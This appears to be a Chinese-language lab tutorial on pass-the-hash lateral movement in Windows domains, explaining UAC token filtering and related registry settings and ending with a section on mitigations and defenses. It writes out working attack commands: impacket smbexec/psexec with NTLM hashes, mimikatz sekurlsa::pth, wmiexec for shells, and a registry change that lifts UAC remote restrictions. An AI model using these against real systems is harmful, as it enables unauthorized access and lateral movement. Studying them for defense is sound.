PTH
由于ntlm认证郭晨和kerberos认证过程都是使用用户密码的ntlm hash进行加密,因此当获取到了用户密码的ntlm hash而没有解出明文时,可以利用该ntlm hash进行pth,对内网其他机器进行hash碰撞。通过135ldap或者445横向移动到是用该密码的其他机器上。win2012 server以后的版本默认不会出现铭文密码,所以pth更为重要
本地账户和域账户pth的区别
有以下几个用户
public_user:本地普通用户
test:本地管理员组用户
administrator:本地管理员组用户
xie\hack:域用户在本地管理员组中
获取以上hash利用Imapcket进行smb远程登录
impacket-smbexec.py
python3 smbexec.py public_user@10.211.55.3 -hashes xxx:xxxx
结果:rpc_s_access_denied
python3 smbexec.py test@10.211.55.3 -hashes xxxx:xxxx
结果:rpc_s_access_denied
python3 smbexec.py administrator@10.211.55.3 -hashes xxxx:xxxx
结过:launching semi-interactive shell -Careful what you execute
python3 smbexec.py xie/hack@10.211.55.3 -hashes
结果:launching semi-interactive shell -Careful what you execute
是什么造成了不同用户PTH的不同结果---UAC
UAC解析
user account control,用户账户控制,是windows vista系统引入的一个新的安全组件。
UAC允许用户以非管理员权限执行常见的日常任务--成为标准用户
作为本地管理员组成员的用户账户将使用最小特权原则运行大多数应用程序。
在这种情况下,最小特权的用户具有类似标准用户账户的权限。
当本地管理员组成员必须执行需要管理员权限的任务时,windows vista会自动提示用户获得批准。
UAC限制机制
内置的管理员账户admin进行远程连接会直接得到具有管理员凭证的令牌
非admin的本地管理员账户进行远程连接,会得到一个删除了管理员凭证的令牌。
tips:通过本地管理员组的域用户进行远程连接时,UAC不会生效,而是直接得到一个具有管理员凭证的令牌。
两个问题 1. 如何禁止内置的管理员账户administrator进行远程连接时得到具有管理员凭证的令牌 2.如何让非administrator的本地管理员组账户进行远程连接也得到一个具有管理员凭证的令牌
解答 1
FilterAdministratorToken
通过查看UAC组策略和注册表项设置的官方文档可以看到FilterAdministratorToken的注册表值
开启--内置的administrator进行远程连接时,都提示用户批准该行为
关闭--内置的admin进行连接时,不需要提示用户批准直接就可以获得一个完整管理员权限的令牌。 默认是关闭的
如果禁用admin远程连接获取管理员权限用以下命令
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v FilterAdministratorToken /t REG_DWORD /d 1 /f
再次执行impacket-smbclient的pth执行
python3 smbexec.py administrator@xxxx -hashes xxx:xxx
结果:失败
python3 smbexec.py xie@xxxx -hashes xxxx:xxxx
结果:成功
域用户不受该filterAdministratorToken参数的影响
解答 2
LocalAccountTokenFilterPolicy
UAC远程连接限制是通过注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy来控制的。默认情况下高版本是没有该注册表值得
所以该参数是默认具有UAC远程连接限制的--限制普通用户组无法获取具有管理员凭证的令牌
如果想禁用UAC远程连接限制,可以在远程主机系统上执行如下命令创建localaccounttokenfilterpolicy注册表值并赋为1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v localaccounttokenfilterpolicy /t reg_dword /d 1 /f
修改后,限制解出,只要是本地管理员组内的用户都可以进行PTH攻击
再次使用pth攻击
python3 smbexec.py test@10.211.55.3 -hashes xxx:xxxx
结果:成功获得cmd
通过实验,不同版本的PTH过程不同
本地账户
不过如今的版本或许只能用administrator账户进行pth,
域账户
域账户不收UAC的远程连接影响
1.针对普通域主句,可以使用与主机本地管理员组内的普通域用户进行pth
2.针对域控,使用与管理员组内所有用户进行pth
利用PTH进行横向
1.使用mimikatz
mimikatz.exe
privilege::debug
sekurlsa::pth /user:administrator /domain:10.211.55.7 /ntlm:xxxx 获取一个半交互的shell
弹出的cmd窗口中,使用wmiexec.bvs获取交互式shell
cscript wmiexec.vbs /shell 10.211.55.7
2.使用impakcet进行pth
impakcet例如psexec.py smbexec.py wmiexec.py atexec.py dcomexec.py等脚本可以进行pth
使用psexec.py 脚本执行命令获取交互式shell
python3 psexec.py administrator@10.211.55.7 -hashes xxxx:xxxx
直接获取shell
微软对该pth进行的修补
protected users组的支持
restricted admin rdp模式远程客户端支持
pass the hash 增强保护
总结:
1.protected users 组的成员将无法使用ntlm,digest,credssp进行认证
2.强制使用kerberos协议进行身份
3.不使用DES和RC4加密类型进行预认证,使用aes加密进行预认证。
PTH的防御
1.将FliterAdministratorToken设置为1,禁止内置的本地管理员administrator进行远程PTH
2.监控localacounttokenfilterpolicy防止其修改为1
3.通过组策略配置设置 拒绝从网络访问此计算机和拒绝通过远程桌面服务登录 禁止本地账户通过远程桌面和网络访问计算机
4.将域内敏感用户加入protected users组
因为域内用户众多,所以不能将所有用户都加入这个组,因此防御pth比较困难